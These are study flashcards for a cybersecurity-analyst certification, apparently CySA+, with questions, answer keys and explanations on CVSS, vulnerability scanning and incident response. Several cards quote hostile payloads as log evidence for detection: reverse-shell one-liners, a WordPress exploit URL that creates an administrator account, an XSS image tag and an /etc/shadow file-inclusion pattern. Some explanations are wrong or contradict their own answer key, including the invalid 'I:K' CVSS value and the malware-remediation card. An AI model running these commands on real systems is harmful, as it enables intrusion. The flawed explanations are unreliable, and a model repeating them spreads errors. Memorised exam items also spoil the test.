Deck 1 Flashcards
A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?
A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H
Correct Answer: A
A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
Attack Vector (AV): Network (AV:N)
Attack Complexity (AC): Low (AC:L)
Privileges Required (PR): None (PR:N)
User Interaction (UI): None (UI:N)
Scope (S): Unchanged (S:U)
Confidentiality Impact ©: High (C:H)
Integrity Impact (I): Known (I:K)
Availability Impact (A): Low (A:L)
Which of the following items should be included in a vulnerability scan report? (Choose two.)
A. Lessons learned
B. Service-level agreement
C. Playbook
D. Affected hosts
E. Risk score
F. Education plan
Correct Answer: D, E
D. Affected hosts: Definitely! This information helps pinpoint where vulnerabilities exist.
E. Risk score: Yes, including the risk score provides context on the severity of each vulnerability.
Items like “Lessons learned,” “Service-level agreement,” “Playbook,” and “Education plan” are not typically part of a vulnerability scan report. They might be relevant for other security documentation but aren’t directly related to scan results.
The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?
A. A mean time to remediate of 30 days
B. A mean time to detect of 45 days
C. A mean time to respond of 15 days
D. Third-party application testing
Correct Answer: A
Response - Incident response activities include detection, analysis, containment, eradication, recovery, communication, and documentation.
Remediation - Remediation activities include applying patches, fixing misconfigurations, updating security policies, improving access controls, and implementing other corrective measures.
A company’s user accounts have been compromised. Users are also reporting that the company’s internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?
A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
B. An on-path attack is being performed by someone with internal access that forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
D. An error was caused by BGP due to new rules applied over the company’s internal routers
Correct Answer: B
Based on the information provided, it seems that option B is the most likely scenario.
An on-path attack by an internal actor could be forcing users to connect via port 80 (HTTP) instead of port 443 (HTTPS). This manipulation could compromise security by intercepting or redirecting traffic. It’s essential for the company to investigate further and take appropriate measures to secure their network and user accounts.
A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:
Security Policy 1006: Vulnerability Management
The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.
In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.
The Company shall prioritize patching of publicly available systems and services over patching of internally available system.
According to the security policy, which of the following vulnerabilities should be the highest priority to patch?
A. Name: THOR.HAMMER -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Internal System
B. Name: CAP.SHIELD -
CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
External System
C. Name: LOKI.DAGGER -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
External System
D. Name: THANOS.GAUNTLET -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Internal System
Correct Answer: B
CAP.SHIELD
Based on the security policy’s criteria, vulnerabilities B (CAP.SHIELD) and D (THANOS.GAUNTLET) have the highest priority in patching because they have the highest impact on confidentiality, which takes precedence over availability.
B. CAP.SHIELD - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (External System)
Exploitability: Low
Impact: High (Confidentiality)
Patching Priority: Highest
D. THANOS.GAUNTLET - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Internal System)
Exploitability: Low
Impact: High (Confidentiality)
Patching Priority: Highest
According to the policy, external systems should be prioritized over internal systems.
Therefore, vulnerability B should be addressed first.
An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?
A. CDN
B. Vulnerability scanner
C. DNS
D. Web server
Correct Answer: C
Given that the organization was impacted by a DDoS attack, the team should review the DNS logs first. DNS (Domain Name System) logs can provide valuable information about the domain resolution process, including any unusual or malicious requests. Analyzing DNS logs can help identify patterns associated with the attack and provide insights into the source of the traffic. Once the DNS logs have been reviewed, the team can proceed to examine other relevant logs, such as web server logs or CDN logs, to further investigate the incident.
A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?
A. Weaponization
B. Reconnaissance
C. Delivery
D. Exploitation
Correct Answer: D
The current stage of the Cyber Kill Chain that the threat actor is operating in is D. Exploitation. At this stage, the attacker has successfully exploited a vulnerability or weakness to gain unauthorized access to the network. Their goal is to maintain access and continue their attack.
An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?
A. Proprietary systems
B. Legacy systems
C. Unsupported operating systems
D. Lack of maintenance windows
Correct Answer: A
The systems that cannot be upgraded due to a vendor appliance represent proprietary systems. These appliances are likely tightly integrated with the critical systems, making it difficult to apply updates or patches.
Unlike legacy systems, which are older but still supported, proprietary systems often lack the flexibility to accommodate standard upgrades.
Unsupported operating systems, on the other hand, refer to those that no longer receive security updates from their vendors.
The issue here seems to be the proprietary nature of the vendor appliance, hindering the necessary upgrades.
A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?
A. Code analysis
B. Static analysis
C. Reverse engineering
D. Fuzzing
Correct Answer: B
Given the scenario, static analysis is often the first step. It allows the analyst to identify suspicious patterns, check for hardcoded credentials, and understand the binary’s behavior without executing it. If further investigation is needed, reverse engineering becomes valuable.
A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?
A. The current scanners should be migrated to the cloud
B. Cloud-specific misconfigurations may not be detected by the current scanners
C. Existing vulnerability scanners cannot scan IaaS systems
D. Vulnerability scans on cloud environments should be performed from the cloud
Correct Answer: B
Cloud-Specific Misconfigurations: Traditional vulnerability scanners may not fully detect cloud-specific misconfigurations. Cloud environments have unique security challenges, such as misconfigured permissions, network settings, and storage access. Ensure your vulnerability management tools account for these cloud-specific issues.
Migration of Scanners: While migrating your current scanners to the cloud (Option A) is an option, it’s essential to evaluate whether they are optimized for cloud environments. Some scanners may need adjustments or replacements to effectively scan cloud resources.
Vulnerability Scans from the Cloud: Performing vulnerability scans directly from the cloud (Option D) is recommended. This approach ensures that scans originate within the same environment, providing accurate results and minimizing network latency.
Coverage for IaaS Systems: Existing vulnerability scanners can indeed scan IaaS systems (Option C).
However, ensure they are configured correctly to assess cloud-based infrastructure. Consider integrating cloud-native security tools for comprehensive coverage.
A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?
A. External
B. Agent-based
C. Non-credentialed
D. Credentialed
Correct Answer: B
Reduced network traffic: Pre-installed agents reduce the need for frequent network scans, replacing them with event-driven or periodic scheduled scans.
No IP limitation: Agent-based scanning is not limited by IP, making it accessible even for assets using dynamic addressing or located off-site behind private subnets.
Geographically distributed environments: Agent-based scanning works well in widely distributed environments or with numerous remote employees1.
A security analyst detects an exploit attempt containing the following command:
sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?
A. RCE
B. Reverse shell
C. XSS
D. SQL injection
Correct Answer: B
sh -i: This part of the command invokes the Bourne shell (sh) with an interactive session (-i).
> & /dev/udp/10.1.1.1/4821: The >& redirects both standard output and standard error to the specified UDP address (10.1.1.1) and port (4821).
0>$l: This redirects standard input (0) to an undefined variable ($l).
In a reverse shell attack, the attacker sets up a listener on their machine (in this case, the UDP address 10.1.1.1), and the compromised system connects back to the attacker, allowing them to execute commands remotely.
A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?
A. Credentialed network scanning
B. Passive scanning
C. Agent-based scanning
D. Dynamic scanning
Correct Answer: C
Agent-based scanning involves installing a lightweight software agent on each endpoint. These agents perform the vulnerability assessment locally on the device, thereby not requiring remote access to sensitive data. The results are then sent back to a centralized server for analysis.
Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer’s customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?
A. Isolate Joe’s PC from the network
B. Reimage the PC based on standard operating procedures
C. Initiate a remote wipe of Joe’s PC using mobile device management
D. Perform no action until HR or legal counsel advises on next steps
Correct Answer: D
Legal Considerations: Joe’s actions may have legal implications, especially if he’s soliciting customers while still employed. It’s essential to consult with legal counsel to determine the appropriate course of action.
HR Involvement: HR should be informed promptly. They can guide the organization on how to handle the situation, including any necessary disciplinary actions or termination procedures.
Preserving Evidence: Isolating Joe’s PC or wiping it remotely could inadvertently destroy evidence that might be relevant in any future legal proceedings. It’s best to wait for professional advice.
Incident response should always be coordinated with legal and HR departments to ensure compliance and protect the organization’s interests.
A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region.
Which of the following shell script functions could help achieve the goal?
A. function w() { a=$(ping -c 1 $1 | awk-F ”/” ’END{print $1}’) && echo “$1 | $a” }
B. function x() { b=traceroute -m 40 $1 | awk ’END{print $1}’) && echo “$1 | $b” }
C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }
D. function z() { c=$(geoiplookup$1) && echo “$1 | $c” }
Correct Answer: C
The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is function y. Here’s how it works:
function y() {
dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F “.in-addr” ‘{print $1}’).origin.asn.cymru.com TXT +short
}
This function takes an IP address as an argument and performs two DNS lookups using the dig command. It retrieves information related to the address, including its origin and Autonomous System Number (ASN). The output provides valuable context for identifying network addresses within the same company and region
A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the best mitigation technique?
A. Geoblock the offending source country.
B. Block the IP range of the scans at the network firewall.
C. Perform a historical trend analysis and look for similar scanning activity.
D. Block the specific IP address of the scans at the network firewall.
Correct Answer: B
Given the situation, the best mitigation technique would be B. Block the IP range of the scans at the network firewall.
Geoblocking (option A) might seem like a straightforward solution, but it can have unintended consequences. Blocking an entire country could inadvertently affect legitimate traffic or hinder business operations if there are any legitimate connections from that country.
Blocking the specific IP address (option D) is reactive and may not prevent other scanners from using different IP addresses. It’s better to address the broader range of IPs involved in the scanning activity.
Performing historical trend analysis (option C) is valuable for understanding the context and identifying patterns, but it won’t immediately stop the ongoing scanning activity.
Blocking the IP range of the scans at the network firewall (option B) is a targeted approach. By doing so, you can prevent further scanning attempts from that specific range without affecting other legitimate traffic.
Remember that timely incident response and continuous monitoring are crucial in cybersecurity. Regularly reviewing logs, analyzing threat intelligence, and staying informed about emerging threats will help you proactively address security incidents.
An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on several web servers. The exploit contained the following snippet:
/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator
Which of the following controls would work best to mitigate the attack represented by this snippet?
A. Limit user creation to administrators only.
B. Limit layout creation to administrators only.
C. Set the directory trx_addons to read only for all users.
D. Set the directory V2 to read only for all users.
Correct Answer: A
The snippet provided appears to be an attempt to exploit a WordPress vulnerability.
The /wp-json/trx_addons/V2/get/sc_layout part indicates an endpoint in the WordPress REST API.
The sc=wp_insert_user&role=administrator query parameters suggest an attempt to create a new user with the “administrator” role.
A. Limit user creation to administrators only:
This control restricts user creation to administrators, which is a good practice. Tt won’t directly address the specific vulnerability in the snippet, it does However mitigate the specific attack.
B. Limit layout creation to administrators only:
Layout creation doesn’t seem relevant to the snippet. It’s unlikely to mitigate the attack.
C. Set the directory trx_addons to read-only for all users:
This option is more specific to the vulnerability. If the trx_addons directory contains sensitive files or scripts, setting it to read-only could prevent unauthorized modifications, but making the change to Read Only for All Users would prevent authentic Administrator write permissions as well.
D. Set the directory V2 to read-only for all users:
The V2 directory isn’t directly related to the snippet. Focusing on the trx_addons directory is more appropriate.
An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:
created the initial evidence log.
disabled the wireless adapter on the device.
interviewed the employee, who was unable to identify the website that was accessed.
reviewed the web proxy traffic logs.
Which of the following should the analyst do to remediate the infected device?
A. Update the system firmware and reimage the hardware.
B. Install an additional malware scanner that will send email alerts to the analyst.
C. Configure the system to use a proxy server for Internet access.
D. Delete the user profile and restore data from backup.
Correct Answer: A
Given the options, the most relevant action is C. Configure the system to use a proxy server for Internet access. This step can help monitor and filter traffic, preventing future infections.
To effectively remediate the infected device, the incident response analyst should follow these steps:
Isolate the Device: Disable network access for the infected endpoint to prevent lateral movement. This step helps contain the malware and prevent further spread.
Identify the Type, Scope, and Timeline of the Malware Infection: Understand the nature of the malware, its impact, and when it occurred. This information informs subsequent actions.
Create an Image of the Infected System: Before making any changes, create a forensic image of the compromised system. This preserves evidence for further analysis and legal purposes.
Remove the Malware (if possible): Use reliable malware scanning and detection tools to identify and remove the malicious software. Ensure that the removal process doesn’t inadvertently cause data loss or further damage.
Reset Credentials and Invalidate Sessions: Change passwords and usernames associated with the infected device. Invalidate any active web sessions to prevent unauthorized access.
Review Access to Impacted Applications: Assess which applications or services were accessed from the infected device. Close any potential entry points used by the malware.
Given the following CVSS string:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Which of the following attributes correctly describes this vulnerability?
A. A user is required to exploit this vulnerability.
B. The vulnerability is network based.
C. The vulnerability does not affect confidentiality.
D. The complexity to exploit the vulnerability is high.
Correct Answer: B
The CVSS string provided corresponds to a vulnerability with the following attributes:
Base Score: 8.8 (High severity)
Attack Vector (AV): Network (AV:N)
Attack Complexity (AC): Low (AC:L)
Privileges Required (PR): None (PR:N)
User Interaction (UI): None (UI:N)
Scope (S): Unchanged (S:U)
Confidentiality Impact ©: High (C:H)
Integrity Impact (I): High (I:H)
Availability Impact (A): High (A:H)
B. The vulnerability is network based.
Option A is incorrect: Privileges Required (PR): None (PR:N)
Option C is incorrect: Confidentiality Impact (C): High (C:H)
Option D is incorrect: Attack Complexity (AC): Low (AC:L)
A virtual web server in a server pool was infected with malware after an analyst used the internet to research a system issue. After the server was rebuilt and added back into the server pool, users reported issues with the website, indicating the site could not be trusted. Which of the following is the most likely cause of the server issue?
A. The server was configured to use SSL to securely transmit data.
B. The server was supporting weak TLS protocols for client connections.
C. The malware infected all the web servers in the pool.
D. The digital certificate on the web server was self-signed.
Correct Answer: D
A. The server was configured to use SSL to securely transmit data.
While SSL (Secure Sockets Layer) is essential for secure data transmission, it doesn’t directly impact trust issues reported by users. SSL ensures encryption, but it doesn’t address trustworthiness concerns.
B. The server was supporting weak TLS protocols for client connections.
Weak TLS (Transport Layer Security) protocols can indeed affect trust. If the server supports outdated or insecure TLS versions (e.g., TLS 1.0 or 1.1), it could compromise security and lead to trust issues.
C. The malware infected all the web servers in the pool.
Malware could certainly cause trust issues, but it’s not necessarily the most likely cause. We need more evidence to confirm this.
D. The digital certificate on the web server was self-signed.
This is a strong possibility. Self-signed certificates are not issued by a trusted certificate authority (CA), leading to trust warnings in browsers. Users might perceive the site as untrustworthy due to the self-signed certificate.
Conclusion: The most likely cause of the trust issue is option D—the self-signed digital certificate on the web server.
A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application:
getConnection(database01,”alpha” ,”AxTv.127GdCx94GTd”);
Which of the following is the most likely vulnerability in this system?
A. Lack of input validation
B. SQL injection
C. Hard-coded credential
D. Buffer overflow
Correct Answer: C
The most likely vulnerability in this system is C. Hard-coded credential.
The presence of the hardcoded username (“alpha”) and password (“AxTv.127GdCx94GTd”) within the getConnection function call indicates that sensitive credentials are directly embedded in the code.
This practice poses a significant security risk, as anyone with access to the code can easily extract these credentials and potentially gain unauthorized access to the database.
To improve security, it’s essential to use secure credential management practices, such as storing credentials in a separate, encrypted configuration file or using environment variables.
Additionally, regular code reviews and vulnerability assessments can help identify and address such issues.
While reviewing web server logs, a security analyst found the following line:
< IMG SRC=’vbscript:msgbox(“test”)’ >
Which of the following malicious activities was attempted?
A. Command injection
B. XML injection
C. Server-side request forgery
D. Cross-site scripting
Correct Answer: D
The malicious activity attempted in this case is Cross-site scripting (XSS).
The provided line contains a script embedded within an image tag (<img></img></img>), which executes VBScript code (msgbox(“test”)).
This code would display a message box with the text “test” when the image is loaded by a victim’s browser.
XSS attacks allow an attacker to inject malicious scripts into web pages viewed by other users, potentially compromising their data or executing unauthorized actions.
A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?
A. /etc/shadow
B. curl localhost
C. ; printenv
D. cat /proc/self/
Correct Answer: A
Local File Inclusion (LFI) is a web security vulnerability that occurs when an attacker tricks a web application into including files from the local server.
If an attacker successfully exploits an LFI vulnerability to extract credentials from the underlying host, one way they might attempt to access sensitive files is by trying to access the “/etc/shadow” file. The “/etc/shadow” file on Unix-based systems like Linux contains the hashed passwords of users.
A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?
A. Non-credentialed scanning
B. Passive scanning
C. Agent-based scanning
D. Credentialed scanning
Correct Answer: B
Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive scanning can minimize the risk of Operational Technology (OT)/Industrial Control Systems (ICS) devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic.
An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst’s concern?
A. Any discovered vulnerabilities will not be remediated.
B. An outage of machinery would cost the organization money.
C. Support will not be available for the critical machinery.
D. There are no compensating controls in place for the OS.
Correct Answer: A
As an operating system reaches its end-of-life date, the vendor typically stops providing security updates and patches for known vulnerabilities.
This leaves systems running on the outdated OS exposed to potential security risks. Without the ability to receive patches, any vulnerabilities discovered in the OS after the end-of-life date will remain unaddressed, increasing the risk of exploitation by malicious actors. This concern highlights the importance of migrating critical systems to supported and up-to-date platforms to mitigate security risks.
While options B, C, and D may also be concerns for the organization, the primary focus of a security analyst is typically on mitigating security risks, making option A the best choice.
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?
A. #!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo “Malicious activity” || echo “OK”
B. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo “Malicious activity” || echo “OK”
C. #!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo “Malicious activity” || echo “OK”
D. #!/bin/bash
netstat -antp | grep 8080 >dev/null && echo “Malicious activity” || echo “OK”
Correct Answer: D
The suspicious entry bash -i >& /dev/tcp/10.1.2.3/8080 0>&1 appears to be an attempt to establish a reverse shell connection to the IP address 10.1.2.3 on port 8080.
Option A:
* This script uses nc (netcat) to connect to 10.1.2.3 on port 8080.
* If the connection is successful, it echoes “Malicious activity”; otherwise, it echoes “OK.”
* However, this script doesn’t directly verify the suspicious command.
* Not the best choice for confirming ongoing activity related to the suspicious entry.
Option B:
* This script uses ps -fea to list all processes and then pipes the output to grep 8080.
* If any process with port 8080 is found, it echoes “Malicious activity”; otherwise, it echoes “OK.”
* While it checks for processes, it doesn’t specifically validate the suspicious command.
* Not the most accurate choice for confirming ongoing activity related to the suspicious entry.
Option C:
* This script attempts to list the contents of a non-existent directory (/opt/tcp/10.1.2.3/8080).
* It will likely fail and always echo “OK.”
* Definitely not the right choice for confirming the suspicious activity.
Option D:
* This script uses netstat -antp to display active network connections.
* It then pipes the output to grep 8080 to check for any connections on port 8080.
* If a connection exists, it echoes “Malicious activity”; otherwise, it echoes “OK.”
* Best choice among the given options for confirming ongoing activity related to the suspicious entry.
Therefore, the security analyst should use Option D to accurately confirm whether the suspicious activity is ongoing. This script checks for active connections on port 8080, which aligns with the suspicious command.
Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?
A. Command and control
B. Data enrichment
C. Automation
D. Single sign-on
Correct Answer: C
Using an API to insert bulk access requests from a file into an identity management system is an example of automation.
This process streamlines the creation of multiple access requests simultaneously, improving efficiency and accuracy.
Unlike single sign-on (D), which focuses on user authentication, automation (C) handles repetitive tasks programmatically.
Data enrichment (B) typically involves enhancing existing data with additional information, but it’s not directly related to bulk access requests.
And command and control (A) refers to a cyber threat tactic, not a system functionality.
So, the correct answer is C. Automation.
A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?
A. Implement segmentation with ACLs.
B. Configure logging and monitoring to the SIEM.
C. Deploy MFA to cloud storage locations.
D. Roll out an IDS.
Correct Answer: A
Segmentation with ACLs (Access Control Lists):
Segmentation involves dividing the flat network into smaller, isolated segments. Each segment can have its own security policies and access controls.
ACLs are rules that determine which traffic is allowed or denied between segments. By configuring ACLs, you can restrict communication between sensitive file storage locations and the public network.
This approach minimizes lateral movement within the network, reducing the attack surface and preventing unauthorized access.
ACLs can be applied at the network level (e.g., using firewalls) or at the host level (e.g., using security groups in cloud environments).
Other Options:
Logging and monitoring to the SIEM (Option B): While important for visibility, this alone won’t prevent unauthorized access. It helps detect incidents but doesn’t proactively secure the network.
Deploying MFA to cloud storage locations (Option C): MFA enhances authentication but doesn’t directly address network segmentation.
Rolling out an IDS (Option D): An Intrusion Detection System detects suspicious activity but doesn’t segment the network.
A security analyst must review a suspicious email to determine its legitimacy. Which of the following should be performed? (Choose two.)
A. Evaluate scoring fields, such as Spam Confidence Level and Bulk Complaint Level
B. Review the headers from the forwarded email
C. Examine the recipient address field
D. Review the Content-Type header
E. Evaluate the HELO or EHLO string of the connecting email server
F. Examine the SPF, DKIM, and DMARC fields from the original email
Correct Answer: A, F
Evaluate scoring fields (SCL and Bulk Complaint Level):
Correct: Checking the Spam Confidence Level (SCL) and Bulk Complaint Level is a valid step. These scores help assess the likelihood that an email is spam or malicious. A high SCL or numerous bulk complaints may indicate suspicious content.
Review email headers:
Not directly relevant: Considering that forwarded emails replace headers with the forwarder’s info, this step becomes less effective. The original headers are lost.
Look for anomalies, such as unusual IP addresses, domains, or inconsistencies in the Received headers.
Examine the recipient address field:
Not directly relevant: While it’s generally good practice to verify recipient addresses, this step alone may not determine the email’s legitimacy. It’s essential to consider other factors as well.
Review the Content-Type header:
Not directly relevant: The Content-Type header specifies the format of the email content (e.g., text, HTML). While it’s useful for rendering the email correctly, it doesn’t directly assess legitimacy.
Evaluate the HELO or EHLO string of the connecting email server:
Not directly relevant: The HELO/EHLO string is part of the SMTP handshake during email communication. While it can provide clues about the server, it’s not a primary step for assessing email legitimacy.
Examine the SPF, DKIM, and DMARC fields from the original email:
Correct: Checking SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance) records helps verify the email’s legitimacy. These fields prevent email spoofing and enhance security.
Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?
A. Mean time to detect
B. Mean time to respond
C. Mean time to remediate
D. Service-level agreement uptime
Correct Answer: A
To improve visibility and reduce the time to prevent lateral movement and data exfiltration, the most relevant technique is Mean Time to Detect (MTTD). MTTD measures how quickly an organization identifies security incidents or threats. By minimizing MTTD, you can detect malicious actors earlier, allowing for faster response and containment. The other options—Mean Time to Respond (MTTR), Mean Time to Remediate (MTTR), and Service-level Agreement (SLA) uptime—are important but focus on different aspects of incident management and resolution. MTTD directly addresses the goal of improving visibility and timely detection.
A security analyst discovers an ongoing ransomware attack while investigating a phishing email. The analyst downloads a copy of the file from the email and isolates the affected workstation from the network. Which of the following activities should the analyst perform next?
A. Wipe the computer and reinstall software
B. Shut down the email server and quarantine it from the network
C. Acquire a bit-level image of the affected workstation
D. Search for other mail users who have received the same file
Correct Answer: D
The analyst has already contained the original infected machine.
Next would be to identify the scope of the malware (how many users have been affected).
After the spread has been contained, the analyst can go back and acquire the bit level image for further forensics.
After identifying a threat, a company has decided to implement a patch management program to remediate vulnerabilities. Which of the following risk management principles is the company exercising?
A. Transfer
B. Accept
C. Mitigate
D. Avoid
Correct Answer: C
The company is exercising the “Mitigate” risk management principle. By implementing a patch management program, they are taking steps to reduce the impact of vulnerabilities and mitigate the associated risks.
An incident response analyst is taking over an investigation from another analyst. The investigation has been going on for the past few days. Which of the following steps is most important during the transition between the two analysts?
A. Identify and discuss the lessons learned with the prior analyst.
B. Accept all findings and continue to investigate the next item target.
C. Review the steps that the previous analyst followed.
D. Validate the root cause from the prior analyst.
Correct Answer: C
During the transition between analysts, reviewing the steps that the previous analyst followed (Option C) is crucial. By understanding the investigation’s progress, you can build upon existing knowledge and avoid duplicating efforts. Additionally, this step ensures continuity and helps the new analyst identify any gaps or areas that need further exploration. Remember, effective communication with the prior analyst is essential for a smooth handover.
An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?
A. False positive
B. True negative
C. False negative
D. True positive
Correct Answer: C
The SIEM rule indeed worked as expected by not triggering an alert at 9 failed login attempts. However, the issue lies in the threshold being set too high. Since the threshold was 10 failed logins within one minute, it failed to detect an actual attack when there were 9 failed logins. This situation is indeed a False Negative because the rule missed a legitimate security event.
A cybersecurity analyst is tasked with scanning a web application to understand where the scan will go and whether there are URLs that should be denied access prior to more in-depth scanning. Which of following best fits the type of scanning activity requested?
A. Uncredentialed scan
B. Discovery scan
C. Vulnerability scan
D. Credentialed scan
Correct Answer: B
A discovery scan is typically used to identify the scope of a web application and understand where the scan will go. This type of scan is often the first step in assessing a web application’s security and helps the analyst determine which areas should be further examined or tested in-depth.
Which of the following risk management principles is accomplished by purchasing cyber insurance?
A. Accept
B. Avoid
C. Mitigate
D. Transfer
Correct Answer: D
Purchasing cyber insurance aligns with the risk management principle of transferring risk. By obtaining cyber insurance, organizations shift the financial burden of potential losses resulting from cyber incidents to the insurance provider. This allows them to mitigate the impact of breaches or data loss.
A recent audit of the vulnerability management program outlined the finding for increased awareness of secure coding practices. Which of the following would be best to address the finding?
A. Establish quarterly SDLC training on the top vulnerabilities for developers
B. Conduct a yearly inspection of the code repositories and provide the report to management.
C. Hire an external penetration test of the network
D. Deploy more vulnerability scanners for increased coverage
Correct Answer: A
To address the finding of increased awareness of secure coding practices, I recommend option A: Establish quarterly SDLC training on the top vulnerabilities for developers. This approach ensures that developers receive regular training and stay informed about the latest security threats and best practices. By integrating secure coding principles into their workflow, they can proactively prevent vulnerabilities in the code they write.
The other options (B, C, and D) are valuable but may not directly address the need for ongoing developer education.
An organization has deployed a cloud-based storage system for shared data that is in phase two of the data life cycle. Which of the following controls should the security team ensure are addressed? (Choose two.)
A. Data classification
B. Data destruction
C. Data loss prevention
D. Encryption
E. Backups
F. Access controls
Correct Answer: D, F
Encryption (D): Relevant during data storage and usage phases. It ensures data confidentiality by converting it into a secure format that only authorized parties can decipher.
Access Controls (F): Crucial for data storage. Access controls limit who can access, modify, or delete data. Properly configured permissions prevent unauthorized access.
Data Life Cycle:
1. Create
2. Storage
3. Usage
4. Sharing
5. Archive
6 Destruction
Data Classification – Create (1)
Data Destruct – Destruction (6)
Data Loss Prevention – Usage (3), Share (4)
Encryption – Storage (2), Usage (3)
Backups – Archive (5)
Access Controls – Storage (2)
A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around?
A. OSSTMM
B. Diamond Model of Intrusion Analysis
C. OWASP
D. MITRE ATT&CK
Correct Answer: D
The company should align their security controls around D. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge).
The MITRE ATT&CK framework is a powerful tool for Chief Information Security Officers (CISOs) to map all the attack vectors that the company faces each day.
It categorizes and details various adversary tactics and techniques based on real-world threat intelligence observations.
By revealing adversary tactics, techniques, and procedures (TTPs), MITRE ATT&CK empowers CISOs and their security teams to make informed, proactive decisions when addressing cyberthreats.
An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and the cause is traced back to the vulnerability scanner. Which of the following is the cause of this issue?
A. The scanner is running without an agent installed.
B. The scanner is running in active mode.
C. The scanner is segmented improperly
D. The scanner is configured with a scanning window
Correct Answer: B
These scans can sometimes overload or disrupt target systems, especially if they are not configured or managed properly. In some cases, active scans can trigger vulnerabilities or cause service disruptions, leading to unexpected issues like a server crash.
An organization’s threat intelligence team notes a recent trend in adversary privilege escalation procedures. Multiple threat groups have been observed utilizing native Windows tools to bypass system controls and execute commands with privileged credentials. Which of the following controls would be most effective to reduce the rate of success of such attempts?
A. Set user account control protection to the most restrictive level on all devices
